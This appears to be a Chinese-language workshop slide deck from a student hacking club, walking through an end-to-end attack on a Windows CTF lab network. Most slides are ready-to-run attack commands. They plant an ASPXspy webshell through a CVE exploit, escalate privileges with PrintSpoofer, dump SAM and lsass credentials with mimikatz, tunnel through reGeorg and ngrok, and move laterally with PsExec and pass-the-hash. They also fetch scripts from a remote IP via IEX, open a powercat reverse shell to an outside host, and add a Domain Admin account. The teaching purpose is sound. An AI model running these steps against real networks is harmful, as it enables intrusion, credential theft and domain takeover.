Slide 1

Slide 1 text

Windows 內網滲透 你懂 Windows 嗎? Speaker: 童舒晧 致敬 AIS3 紅⼈人演練

Slide 2

Slide 2 text

$ Whoami • 你們家老社長 (第五屆⿊黑客社社長) • 資安 Web狗 ⼀一點點pwn 剩下我就垃圾

Slide 3

Slide 3 text

Outline • 打爆 Windows • 沒ㄖ • 啊⼤大家都是 root 不要砍檔改密碼謝謝

Slide 4

Slide 4 text

今⽇日弱點 http://140.134.25.138:55555/ 計分板 https://ctf.foxo.tw/challenges

Slide 5

Slide 5 text

練習找 CVE getshell 5 min

Slide 6

Slide 6 text

第零關 - 登入admin • 弱密碼 • 帳號 admin • 密碼 admin

Slide 7

Slide 7 text

第⼀一關 - CVE

Slide 8

Slide 8 text

好習慣 (⼀一) • 上傳後⾨門 ⽽而非打reverse shell • 許多web server都被防火牆 • 禁⽌止連外網 • (當初我打 ilexxn 也是這樣)

Slide 9

Slide 9 text

新⼿手⼤大禮包 • 今天上課所有⼯工具 • https://ctf.foxo.tw/files/ 0b95689cc6782e0e3607ff26fde33aad/tools.zip • 解壓縮密碼 foxo

Slide 10

Slide 10 text

第⼀一關 CVE 解答 • ⼤大禮包打開來來 • 執⾏行行 • ▶ python BlogEngine.NET_poc_upload.py -t '140.134.208.100:55555' -u admin -p admin -f ASPXspy2.aspx • 後⾨門密碼 admin http://140.134.208.100:55555/Custom/Themes/RCE/ASPXspy2.aspx

Slide 11

Slide 11 text

點⼀一點後⾨門開⼼心拿flag

Slide 12

Slide 12 text

查看權限 • 拿到 RCE 之後 很重要⼀一件事就是知道⾃自⼰己權限

Slide 13

Slide 13 text

提權好處 • ⼀一般權限 • 掃 port • 做 web server能做的事 • 最⾼高權限 • 想幹嘛就幹嘛 • 幫他關機 • dump 機器上所有密碼 、 關防毒

Slide 14

Slide 14 text

第⼆二關 - Network Service 提權 •PrintSpoofer •Local/Network Service to SYSTEM •https://github.com/itm4n/PrintSpoofer •Support •Windows 10 & Windows Server 2019.. even more •Usage •PrintSpoofer.exe -c "command"

Slide 15

Slide 15 text

使⽤用條件 • Whoami /priv 其中⼀一項開啟 • SeImpersonatePrivilege => CreateProcessWithToken() • SeAssignPrimaryToken => CreateProcessAsUser() • 看起來來是預設開啟

Slide 16

Slide 16 text

使⽤用後⾨門上傳 • 或是等你隊友上傳(X • 看不到結果 只好⽤用寫檔⽅方式讀取 • C:\inetpub\wwwroot\Custom\Themes\RCE\PrintSpoofer.exe • -c "C:\windows\system32\cmd.exe /c whoami > 
 C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"

Slide 17

Slide 17 text

打開 tmp.txt

Slide 18

Slide 18 text

使⽤用 PrintSpoofer 讀 flag • -c "C:\windows\system32\cmd.exe /c type 
 C:\flag.txt > 
 C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"

Slide 19

Slide 19 text

G3t R00t 0N llS

Slide 20

Slide 20 text

Dump iis password

Slide 21

Slide 21 text

SAM 檔案: 儲存本地⽤用⼾戶的 NTLM Hash • Security Account Manager • 安全帳⼾戶管理理器是Windows XP,Windows Vista, Windows 7、8.1和10中的數據庫⽂文件,⽤用於存儲⽤用⼾戶密 碼。它可⽤用於對本地和遠程⽤用⼾戶進⾏行行⾝身份驗證。從 Windows 2000 SP4開始,Active Directory對遠程⽤用⼾戶進⾏行行 ⾝身份驗證。SAM使⽤用加密措施來來防⽌止未經⾝身份驗證的⽤用⼾戶 訪問系統。 ——维基百科(英⽂文)

Slide 22

Slide 22 text

Dump SAM • 使⽤用 PrintSpoofer Dump • -c "reg save HKLM\SAM C:\inetpub\wwwroot\sam.zip" • -c "reg save HKLM\SYSTEM C:\inetpub\wwwroot\system.zip"

Slide 23

Slide 23 text

解析 SAM • Creddump7 • git clone https://github.com/Neohapsis/creddump7 • pip install pycrypto • python2 • python pwdump.py system.zip sam.zip

Slide 24

Slide 24 text

Dump 結果 Username UID LM Hash NTLM Hash fox: 1000: aad3b435b51404eeaad3b435b 51404ee: 7ecffff0c3548187607a14bad0f8 8bb1:::

Slide 25

Slide 25 text

拿去隨意網站crack hash • https://crackstation.net/ • fox 帳號弱密碼 : 1qaz@WSX3edc • Administrator 密碼無法解析

Slide 26

Slide 26 text

⽬目前成就 IIS (Web Server) Owned! Hackers firewall allow web access ?

Slide 27

Slide 27 text

⽬目前成就 IIS (Web Server) Hackers http tunnel ✅ 跳板 nmap

Slide 28

Slide 28 text

確定⼦子網域 • 可以知道 ⼦子網域 在 192.168.122.0/24

Slide 29

Slide 29 text

http tunnel • ⽤用 http 協定達成 proxy • 常⽤用於 web server 被打下來來(不⽤用提權即可使⽤用) • 常⾒見見⼯工具 reGeorg • 上傳 interface 到 受害者server • 使⽤用 http url 建立⼀一個 sock proxy 到本機

Slide 30

Slide 30 text

解壓縮 ⼤大禮包裡的 reGeorg • 然後把 上傳 (因為我們今天試⽤用 .net 所以選aspx) • 打開網⾴頁確定 運作正常 • http://140.134.208.100:55555/Custom/Themes/RCE/ tunnel.aspx

Slide 31

Slide 31 text

運⽤用http tunnel 掃內網 • 在kali 執⾏行行 • python reGeorgSocksProxy.py -u http:// 140.134.208:100:55555/Custom/Themes/RCE/ tunnel.aspx • proxy 在
 127.0.0.1:8888

Slide 32

Slide 32 text

proxychains • Kali 內建 • 使⽤用設定的proxy執⾏行行後⽅方指令 • ex. proxychains nmap …. • 修改 proxy位⼦子 改到8888 • vim /etc/proxychains.conf
 (kali 預設位置)

Slide 33

Slide 33 text

proxychains + nmap • 設定完 使⽤用 • $ proxychains • $ proxychains nmap -sT -Pn -p 445 192.168.122.0/24

Slide 34

Slide 34 text

tunnel 很慢 我幫你掃 • proxychains nmap -sT -Pn -p 445 192.168.122.58 • proxychains nmap -sT -Pn -p 445 192.168.122.246

Slide 35

Slide 35 text

找到兩兩台主機 IIS (Web Server) Hackers http tunnel 192.168.122.58 192.168.122.246

Slide 36

Slide 36 text

企業 Windows 常⾒見見架構 Web Server AD OA OA Control Control office automation system https://en.wikipedia.org/wiki/Office_automation

Slide 37

Slide 37 text

Active Directory (AD) • Active Directory(簡稱AD。中國譯名為「活動⽬目錄」,台灣 為維持英⽂文不譯)是微軟Windows Server中,負責架構中⼤大 型網路路環境的集中式⽬目錄管理理服務(Directory Services), 在Windows 2000 Server開始內建於Windows Server產品中, 它處理理在組織中的網路路物件,物件可以是使⽤用者、群組、電 腦、網域控制站、郵件、設定檔、組織單元、樹系等等,只要 是在Active Directory結構定義檔(schema)中定義的物件, 就可以儲存在Active Directory資料檔中,並利利⽤用Active Directory Service Interface來來存取,實際上,許多Active Directory的管理理⼯工具都是利利⽤用這個介⾯面來來呼叫並使⽤用Active Directory的資料。 — 維基百科

Slide 38

Slide 38 text

總之就是⼤大總管 所有網域下電腦 可以⽤用同組帳號登入

Slide 39

Slide 39 text

本地使⽤用者登入 • .\Administrator • 主機名稱 \Administrator

Slide 40

Slide 40 text

有開AD登入 • 網域 Foxo (Administrator) • FOXO\Administrato r

Slide 41

Slide 41 text

No content

Slide 42

Slide 42 text

尋找 AD IP • AD 通常會和 DNS server 是同⼀一台

Slide 43

Slide 43 text

查看 帳號 • Local • net user • net user

Slide 44

Slide 44 text

這隻 帳號 密碼 已有

Slide 45

Slide 45 text

查看 domain 帳號 • domain • net user /domain • net user /domain

Slide 46

Slide 46 text

發現 特權 帳號 kingoffox

Slide 47

Slide 47 text

下⼀一步 打OA Web Server AD OA Control Control 192.168.122.58 192.168.122.246 192.168.122.53 OA 通常會有 ⼤大量量使⽤用者登入

Slide 48

Slide 48 text

把 OA smb 代理理出來來 • 上傳 ngrok • 申請 ngrok token https://dashboard.ngrok.com/ • 拿取 token

Slide 49

Slide 49 text

上傳失敗? 壓縮上傳 • 壓縮 ngrok • 上傳後 ⽤用powershell 解壓 • /c powershell -command "Expand-Archive 
 C:\inetpub\wwwroot\Custom\Themes\RCE\ngrok.zip 
 C:\inetpub\wwwroot\Custom\Themes\RCE\a"

Slide 50

Slide 50 text

在 webshell 執⾏行行 ngrok • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument: • tcp 192.168.122.58:445 --authtoken 
 -region ap

Slide 51

Slide 51 text

去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723

Slide 52

Slide 52 text

Port Forwarding • 在 Kali 上灌 ssh server • apt-get install openssh-server • 設定 Port Forwarding • vim /etc/ssh/sshd_config • 重啟 sshd • /etc/init.d/ssh restart

Slide 53

Slide 53 text

使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445: • eg ssh 127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 確定⾃自⼰己 kali ip

Slide 54

Slide 54 text

在 windows 執⾏行行 PsExec.exe • Psexec.exe • 有微軟簽章的遠端執⾏行行⼯工具 • 走 smb 協定 (想不到smb可以執⾏行行程式吧) • 有 eula 記得加參參數取消 • psexec.exe -accepteula • 64 位元要⽤用 Psexec64.exe

Slide 55

Slide 55 text

IT : SMB是拿來來傳檔案的 微軟: 拿來來遠端執⾏行行也不錯啊

Slide 56

Slide 56 text

使⽤用相同密碼 PsExec.exe 跳到OA • PsExec64.exe \\ -accepteula -s -u <帳號> -p <密碼> <程式> • eg: PsExec64.exe \\192.168.50.184 -s -accepteula -u fox -p 1qaz@WSX3edc cmd

Slide 57

Slide 57 text

找到 OA 上 flag

Slide 58

Slide 58 text

⽬目前戰績 Web Server AD OA Control Control 192.168.122.58 192.168.122.246 192.168.122.53 Pwn! Pwn!

Slide 59

Slide 59 text

再次Dump 密碼

Slide 60

Slide 60 text

lsass.exe Process • OA 會有許多帳號登入 • 登入過後帳號會在電腦留留下資訊 • lsass.exe Process: • 儲存登入過的 session 與其 NTLM Hash 或密碼

Slide 61

Slide 61 text

使⽤用 mimikatz

Slide 62

Slide 62 text

移動 mimikatz • 上傳⾄至 IIS • 運⽤用網路路芳鄰 移動到 OA C:\ • 什什麼沒有開網路路芳鄰?

Slide 63

Slide 63 text

任意電腦 C:\ 讀取 加入Domain的電腦不是 你的電腦

Slide 64

Slide 64 text

加入 Domain 預設共⽤用C:\ • 打開網路路芳鄰存取 \\\c$ • $ 符號代表隱藏的資料夾

Slide 65

Slide 65 text

使⽤用 cmd 存取 • 掛載遠端磁碟 • net use \\\C$ /user: • net use \\192.168.122.58\C$ /user:fox "1qaz@WSX3edc" • 查看掛載詞耊 • net use

Slide 66

Slide 66 text

Copy iis 檔案 到 OA • copy <檔案位⼦子> <檔案位⼦子> • copy 
 C:\inetpub\wwwroot\Custom\Themes\RCE\mimikatz.exe 
 \\192.168.122.58\C$

Slide 67

Slide 67 text

再次啟動Psexec • 再次連上 OA 記得加-s flag 拿system 權限 • PsExec64.exe \\ -accepteula -u <帳號> -p <密碼> -s cmd • eg: PsExec64.exe \\192.168.50.184 -accepteula -u fox -p 1qaz@WSX3edc -s cmd • 執⾏行行 mimikatz.exe

Slide 68

Slide 68 text

whoami 是 system

Slide 69

Slide 69 text

Dump Isass • 使⽤用 mimikatz dump 所有 lsass.exe Process Hash • Sekurlsa::logonPasswords

Slide 70

Slide 70 text

尋找可⽤用 user • 找到⼀一開始發現的 特權帳號 kingoffox 以及 密碼hash

Slide 71

Slide 71 text

Pass The Hash 使⽤用 hash 就可登入

Slide 72

Slide 72 text

重新 forward port • 關掉 ngrok •

Slide 73

Slide 73 text

改成 forward AD • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument: • tcp 192.168.122.246:445 --authtoken 
 -region ap

Slide 74

Slide 74 text

去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723

Slide 75

Slide 75 text

使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445: • eg ssh 127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 記得把上⼀一個 ctrl+c 關掉

Slide 76

Slide 76 text

⽤用 powershell 腳本 pass the hash • [System.Net.ServicePointManager]::ServerCertificateValidatio nCallback = {$true}; //關閉 ssl 保護 複製時注意換⾏行行空⽩白 • IEX(New-Object System.Net.WebClient).DownloadString("https:// 35.201.144.177/Invoke-SMBExec.ps1"); //Load script 
 (防毒要關) • Invoke-SMBExec -Target -Domain - Username -Hash -Command '<命令>' - verbose

Slide 77

Slide 77 text

搭配 reverse shell • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'powershell -c " [System.Net.ServicePointManager]::ServerCertificateVali dationCallback = {$true}; IEX(New-Object System.Net.WebClient).DownloadString(\"https:// 35.201.144.177/powercat.ps1\");powercat -c 140.134.243.8 -p 4444 -e cmd"' -verbose

Slide 78

Slide 78 text

No content

Slide 79

Slide 79 text

新增 domain admin帳號 • dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn [email protected] -fn Fox -ln Hack -display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj" • net group "Domain Admins" hackfox /ADD /DOMAIN • 如果沒有 主機 可以 reverse shell 直接執⾏行行創帳號 在登入

Slide 80

Slide 80 text

直接創帳號 • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn [email protected] -fn Fox -ln Hack - display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj"' - verbose • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'net group "Domain Admins" hackfox /ADD /DOMAIN' -verbose

Slide 81

Slide 81 text

No content

Slide 82

Slide 82 text

把 RDP 代理理出來來

Slide 83

Slide 83 text

重新 forward port • 關掉 ngrok •

Slide 84

Slide 84 text

改成 forward AD 3389 • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument: • tcp 192.168.122.246:3389 --authtoken 
 -region ap

Slide 85

Slide 85 text

去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723

Slide 86

Slide 86 text

直接連線 rdp • 2.tcp.ngrok.io:12723

Slide 87

Slide 87 text

打下AD就是這麼樸實無華